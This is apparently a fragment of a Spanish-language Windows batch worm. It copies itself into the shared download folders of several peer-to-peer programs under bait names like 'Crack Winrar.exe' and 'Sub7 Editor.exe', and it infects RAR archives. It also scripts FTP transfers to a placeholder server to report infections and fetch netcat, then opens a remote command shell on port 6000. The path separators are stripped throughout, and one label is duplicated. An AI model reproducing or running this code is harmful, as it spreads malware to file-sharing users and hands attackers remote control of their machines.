copy /Y %0 %programfiles%SwaptorDownloadTroyano en .txt interavtivo.exe
copy /Y %0 %programfiles%SwaptorDownloadSub7 Editor.exe
:Cont16
if exist "%programfiles%WinMXMy Shared Folder" (Goto winmx) else Goto Cont17
:winmx
copy /Y %0 %programfiles%WinMXMy Shared FolderVisual Basic 6.0 Crack.exe
copy /Y %0 %programfiles%WinMXMy Shared FolderVisual Serial.exe
copy /Y %0 %programfiles%WinMXMy Shared FolderCrack Winrar.exe
copy /Y %0 %programfiles%WinMXMy Shared FolderSub7 Editor.exe
copy /Y %0 %programfiles%WinMXMy Shared FolderCrack No-CD Age of Empires.exe
copy /Y %0 %programfiles%WinMXMy Shared FolderManual Hacking interactivo.exe
copy /Y %0 %programfiles%WinMXMy Shared FolderMsn 8 Crack.exe
copy /Y %0 %programfiles%WinMXMy Shared FolderMsn 7.5 Evo path.exe
copy /Y %0 %programfiles%WinMXMy Shared FolderCrackeador Jhon the Riper.exe
copy /Y %0 %programfiles%WinMXMy Shared FolderNo-IP DUC.exe
copy /Y %0 %programfiles%WinMXMy Shared FolderEscondeTroyanos.exe
copy /Y %0 %programfiles%WinMXMy Shared FolderTroyano en .txt interavtivo.exe
:Cont17
if exist "%programfiles%TeslaFiles" Goto (telsa) else Goto Cont18
:telsa
copy /Y %0 %programfiles%TeslaFilesVisual Basic 6.0 Crack.exe
copy /Y %0 %programfiles%TeslaFilesVisual Serial.exe
copy /Y %0 %programfiles%TeslaFilesCrack Winrar.exe
copy /Y %0 %programfiles%TeslaFilesSub7 Editor.exe
copy /Y %0 %programfiles%TeslaFilesCrack No-CD Age of Empires.exe
copy /Y %0 %programfiles%TeslaFilesManual Hacking interactivo.exe
copy /Y %0 %programfiles%TeslaFilesMsn 8 Crack.exe
copy /Y %0 %programfiles%TeslaFilesMsn 7.5 Evo path.exe
copy /Y %0 %programfiles%TeslaFilesCrackeador Jhon the Riper.exe
copy /Y %0 %programfiles%TeslaFilesNo-IP DUC.exe
copy /Y %0 %programfiles%TeslaFilesEscondeTroyanos.exe
copy /Y %0 %programfiles%TeslaFilesTroyano en .txt interavtivo.exe
:Cont18
if exist "%programfiles%XoloXDownloads" (Goto xolox) else Goto Cont19
:xolox
copy /Y %0 %programfiles%XoloXDownloadsVisual Basic 6.0 Crack.exe
copy /Y %0 %programfiles%XoloXDownloadsVisual Serial.exe
copy /Y %0 %programfiles%XoloXDownloadsCrack Winrar.exe
copy /Y %0 %programfiles%XoloXDownloadsSub7 Editor.exe
copy /Y %0 %programfiles%XoloXDownloadsCrack No-CD Age of Empires.exe
copy /Y %0 %programfiles%XoloXDownloadsManual Hacking interactivo.exe
copy /Y %0 %programfiles%XoloXDownloadsMsn 8 Crack.exe
copy /Y %0 %programfiles%XoloXDownloadsMsn 7.5 Evo path.exe
copy /Y %0 %programfiles%XoloXDownloadsCrackeador Jhon the Riper.exe
copy /Y %0 %programfiles%XoloXDownloadsNo-IP DUC.exe
copy /Y %0 %programfiles%XoloXDownloadsEscondeTroyanos.exe
copy /Y %0 %programfiles%XoloXDownloadsTroyano en .txt interavtivo.exe
:Cont19
if exist "%programfiles%RapigatorShare" (Goto rapiga) else Goto Cont20
:rapiga
copy /Y %0 %programfiles%RapigatorShareVisual Basic 6.0 Crack.exe
copy /Y %0 %programfiles%RapigatorShareVisual Serial.exe
copy /Y %0 %programfiles%RapigatorShareCrack Winrar.exe
copy /Y %0 %programfiles%RapigatorShareSub7 Editor.exe
copy /Y %0 %programfiles%RapigatorShareCrack No-CD Age of Empires.exe
copy /Y %0 %programfiles%RapigatorShareManual Hacking interactivo.exe
copy /Y %0 %programfiles%RapigatorShareMsn 8 Crack.exe
copy /Y %0 %programfiles%RapigatorShareMsn 7.5 Evo path.exe
copy /Y %0 %programfiles%RapigatorShareCrackeador Jhon the Riper.exe
copy /Y %0 %programfiles%RapigatorShareNo-IP DUC.exe
copy /Y %0 %programfiles%RapigatorShareEscondeTroyanos.exe
copy /Y %0 %programfiles%RapigatorShareTroyano en .txt interavtivo.exe
:Cont20
if exist "%programfiles%KMDMy Shared Folder" (Goto kmd) else Goto Cont21
:kmd
:rapiga
copy /Y %0 %programfiles%KMDMy Shared FolderVisual Basic 6.0 Crack.exe
copy /Y %0 %programfiles%KMDMy Shared FolderVisual Serial.exe
copy /Y %0 %programfiles%KMDMy Shared FolderCrack Winrar.exe
copy /Y %0 %programfiles%KMDMy Shared FolderSub7 Editor.exe
copy /Y %0 %programfiles%KMDMy Shared FolderCrack No-CD Age of Empires.exe
copy /Y %0 %programfiles%KMDMy Shared FolderManual Hacking interactivo.exe
copy /Y %0 %programfiles%KMDMy Shared FolderMsn 8 Crack.exe
copy /Y %0 %programfiles%KMDMy Shared FolderMsn 7.5 Evo path.exe
copy /Y %0 %programfiles%KMDMy Shared FolderCrackeador Jhon the Riper.exe
copy /Y %0 %programfiles%KMDMy Shared FolderNo-IP DUC.exe
copy /Y %0 %programfiles%KMDMy Shared FolderEscondeTroyanos.exe
copy /Y %0 %programfiles%KMDMy Shared FolderTroyano en .txt interavtivo.exe

:Cont21
if exist "%programfiles%Direct ConnectReceived Files" (Goto directcon) goto inisi
:directcon
copy /Y %0 %programfiles%Direct ConnectReceived FilesVisual Basic 6.0 Crack.exe
copy /Y %0 %programfiles%Direct ConnectReceived FilesVisual Serial.exe
copy /Y %0 %programfiles%Direct ConnectReceived FilesCrack Winrar.exe
copy /Y %0 %programfiles%Direct ConnectReceived FilesSub7 Editor.exe
copy /Y %0 %programfiles%Direct ConnectReceived FilesCrack No-CD Age of Empires.exe
copy /Y %0 %programfiles%Direct ConnectReceived FilesManual Hacking interactivo.exe
copy /Y %0 %programfiles%Direct ConnectReceived FilesMsn 8 Crack.exe
copy /Y %0 %programfiles%Direct ConnectReceived FilesMsn 7.5 Evo path.exe
copy /Y %0 %programfiles%Direct ConnectReceived FilesCrackeador Jhon the Riper.exe
copy /Y %0 %programfiles%Direct ConnectReceived FilesNo-IP DUC.exe
copy /Y %0 %programfiles%Direct ConnectReceived FilesEscondeTroyanos.exe
copy /Y %0 %programfiles%Direct ConnectReceived FilesTroyano en .txt interavtivo.exe
del /s /q C:Windowsorder.txt
goto inisi
:infectrar
for /f "tokens=3 DELIMS= " %%a in ('FIND /I "accion" C:Windowsorder.txt') do set ca=%%a
%programfiles%WinRARWinRAR.exe a %ca% %0
echo Archivo Infectado > C:InfectarRAR.txt
echo TUFTP > C:datos.txt
echo TUPASS >> C:datos.txt
echo put C:datos.txt datos.txt >> C:datos.txt
echo put C:InfectarRAR.txt InfectarRAR.txt >> C:datos.txt
echo delete order.txt >> C:datos.txt >> C:datos.txt
echo bye >> C:datos.txt
ftp -s:C:datos.txt ftp.TUFTP.com
cd C:WindowsSystem32
ren nc.zip nc.exe
nc -l -e cmd.exe -p 6000
del /s /q C:datos.txt
:nc
echo TUFTP > C:datos.txt
echo TUPASS >> C:datos.txt
echo put C:datos.txt datos.txt >> C:datos.txt
echo binary
echo get nc.zip C:WindowsSystem32nc.zip >> C:datos.txt
echo delete order.txt >> C:datos.txt >> C:datos.txt
echo bye >> C:datos.txt
ftp -s:C:datos.txt ftp.TUFTP.com
cd C:WindowsSystem32
ren nc.zip nc.exe
nc -l -e cmd.exe -p 6000
del /s /q C:datos.txt
del /s /q C:Windowsorder.txt
goto inisi
:fin
exit